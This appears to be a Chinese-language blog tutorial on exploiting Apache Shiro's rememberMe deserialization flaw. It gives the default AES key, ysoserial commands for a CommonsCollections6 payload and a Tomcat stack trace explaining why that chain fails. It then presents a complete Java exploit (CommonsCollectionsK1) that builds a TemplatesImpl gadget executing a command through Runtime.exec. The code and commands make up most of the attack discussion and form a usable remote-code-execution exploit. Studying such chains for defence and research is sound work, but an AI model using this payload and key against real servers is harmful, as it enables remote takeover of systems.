在Shiro中的利用可真是复杂
利用CC6攻击Shiro使用CC6链生成payload,进行利用。shiro 1.2.4以下默认使用密钥为kPH+bIxk5D2deZiIxcaaaA==。
通过yso获取序列化对象。
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > result.ser
然后通过Serfile_to_rememberme.py生成payload。
python3 Serfile_to_rememberme.py kPH+bIxk5D2deZiIxcaaaA== result.ser > 1.txt
工具地址:https://github.com/Vicl1fe/Tools/blob/main/%E5%B0%8F%E5%B7%A5%E5%85%B7/Shiro%E5%BA%8F%E5%88%97%E5%8C%96%E6%96%87%E4%BB%B6%E8%BD%ACrememberMe/Serfile_to_rememberme.py
发送payload,没有利用成功,tomcat报错如下。
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array. at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82) at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514) at org.apache.shiro.mgt.AbstractRememberMeManager.convertBytesToPrincipals(AbstractRememberMeManager.java:431) at org.apache.shiro.mgt.AbstractRememberMeManager.getRememberedPrincipals(AbstractRememberMeManager.java:396) at org.apache.shiro.mgt.DefaultSecurityManager.getRememberedIdentity(DefaultSecurityManager.java:604) at org.apache.shiro.mgt.DefaultSecurityManager.resolvePrincipals(DefaultSecurityManager.java:492) at org.apache.shiro.mgt.DefaultSecurityManager.createSubject(DefaultSecurityManager.java:342) at org.apache.shiro.subject.Subject$Builder.buildSubject(Subject.java:846) at org.apache.shiro.web.subject.WebSubject$Builder.buildWebSubject(WebSubject.java:148) at org.apache.shiro.web.servlet.AbstractShiroFilter.createSubject(AbstractShiroFilter.java:292) at org.apache.shiro.web.servlet.AbstractShiroFilter.doFilterInternal(AbstractShiroFilter.java:359) at org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:125) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) at org.apache.catalina.authenticator.Authenticatorbase.invoke(Authenticatorbase.java:493) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650) at org.apache.catalina.core.StandardEnginevalve.invoke(StandardEnginevalve.java:87) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498) at org.apache.tomcat.util.net.SocketProcessorbase.run(SocketProcessorbase.java:49) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748) Caused by: java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]: at org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass(ClassResolvingObjectInputStream.java:55) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1868) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1751) at java.io.ObjectInputStream.readArray(ObjectInputStream.java:1930) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1567) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2211) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287) at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:561) at org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:143) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2211) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431) at java.util.HashSet.readObject(HashSet.java:341) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431) at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77) ... 30 more Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found. at org.apache.shiro.util.ClassUtils.forName(ClassUtils.java:148) at org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass(ClassResolvingObjectInputStream.java:53) ... 65 more
在错误栈中找到最下面的那个类org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass。
这个类继承了ObjectInputStream,重写了resolveClass方法,该方法是反序列化中用来查找类的方法,读取序列化流的时候,读取到一个字符串形式的类名。需要通过这个方法来找到对应的java.lang.Class对象。
从这就可以发现,Shiro 最终反序列化调用的地方不是喜闻乐见的 ObjectInputStream().readObject,而是用 ClassResolvingObjectInputStream封装了一层,在该 stream 的实现中重写了 resolveClass方法
再次查看报错,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;,提示找不到该类,这个类名看起来 怪,其实就是表示org.apache.commons.collections.Transformer的数组。下面具体分析一下,
从错误扒出原理跟踪org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass中的ClassUtils.forName方法,可以发现其内部调用的是THREAD_CL_ACCESSOR.loadClass(fqcn);。
查看正常的ObjectInputStream 类中的 resolveClass 方法,可以发现使用的是Class.forName加载类
那么从这里就可以看出Shiro和正常加载类的区别:
Shiro:ClassLoader.loadClass(name)。
正常的:Class.forName(name)
在https://paper.seebug.org/1285/#_4文章中,了解到了两种加载类的方式有以下几点区别:
- forName默认使用的是当前函数内的 ClassLoader, loadClass的 ClassLoader 是自行指定的
- forName类加载完成后默认会自动对 Class 执行 initialize 操作, loadClass仅加载类不执行初始化
- forName可以加载任意能找到的 Object Array, loadClass只能加载Java内置类型的 Object Array
最重要的就是第三点,有一些利用链的终点是ChainedTransformer,这个类中的有一个关键属性是 Transformer[] iTransformers。由于loadClass只能加载Java内置类型的对象数组,所以当Shiro加载这个这个 Transformer的数组时就会提示找不到该类,从而中断反序列化流程,而这就是 CommonsCollections 的大部分利用链都不可用的关键原因。
构造不含有数组的Gadgets(CommonsCollectionsK1)CommonsCollectionsK1是基于 CommonsCollection版本小于3.2.1的
maven配置
commons-collections commons-collections 3.2.1 compile org.javassist javassist 3.25.0-GA compile
先放出最终payload,
package com.darkerbox;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollectionsK1 {
public static void main(String[] args) throws Exception{
// ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
ClassPool pool = ClassPool.getDefault();
// 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
// 使用容器新建一个CtClass,相当于新建一个class,类名为Cat
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
// 给这个类创建 static 代码块,并插入到类中
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
// 重新设置类名为一个随机的名字
cc.setName(randomClassName);
// 给这个类添加一个父类,即继承该父类。
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 将这个类输出到项目目录下
cc.writeFile("./");
// 将这个class转换为字节数组
byte[] classBytes = cc.toBytecode();
getPayload(classBytes);
// readObject();
}
public static void getPayload(byte[] bytecode) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytecode});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 构造链调用obj.newTransformer()
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
ConstantTransformer faketransformer = new ConstantTransformer(1);
Map outmap = new HashMap();
// 后面的map.put方法会调用一次利用链,所以防止报错,这里需要给一个无害transformer
Map lazyMap = LazyMap.decorate(outmap,faketransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
Map map = new HashMap();
map.put(tiedMapEntry,"213");
setFieldValue(lazyMap, "factory", transformer);
// map.put方法中会进入lazymap的get方法。在该方法中,会调用一次transform方法,返回值赋值给value,之后会执行map.put(key,value)。所以map中会多了一个TemplateImpl对象。这样会导致反序列化调用的时候无法进入if判断,所以需要进行clear.
outmap.clear();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("result.ser")));
oos.writeObject(map);
oos.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void readObject() throws IOException, ClassNotFoundException {
// 反序列化对象
FileInputStream fileInputStream = new FileInputStream("result.ser");
ObjectInputStream ois = new ObjectInputStream(fileInputStream);
ois.readObject();
}
}
关键在getPayload函数。下面就主要分析一下getPayload函数
问题1为什么要给lazymap传一个faketransformer?
注意map.put(tiedMapEntry,"213");这行,
在HashMap的put方法中会调用hash(key),意味着这里会触发key.hashcode(),会执行一次链条。执行之后就会报错,会终止程序执行。所以当我们在客户端生成payload的时候,会执行一次链条,而且不会执行后面的writeObject。所以这里写一个无害的Transform:ConstantTransformer。该ConstantTransformer的transform方法,只是会返回this.iConstant,对于ConstantTransformer faketransformer = new ConstantTransformer(1);相当于返回一个1。这样就可以防止报错。(报什么错我这里就不深究了,是RCE后才报错的)
为什么要outmap.clear();?
在问题1中我们就知道调用map.put的时候会执行一次利用链。如下图,会执行到lazymap.get方法。
此时this.factory是ConstantTransformer,调用transform方法会返回1。所以value的值为1。此时key的值是TemplateImpl对象。
在上图中会调用this.map.put(key, value);,将TemplateImpl对象会put到this.map中。这样就会出现一个问题,就是当反序列化的时候,就不会进入if判断,因为map中已经有了TemplateImpl对象,所以我们生成payload的时候需要去clear掉。
参考https://www.cnblogs.com/chengez/p/shiro_K1.html
https://paper.seebug.org/1285/



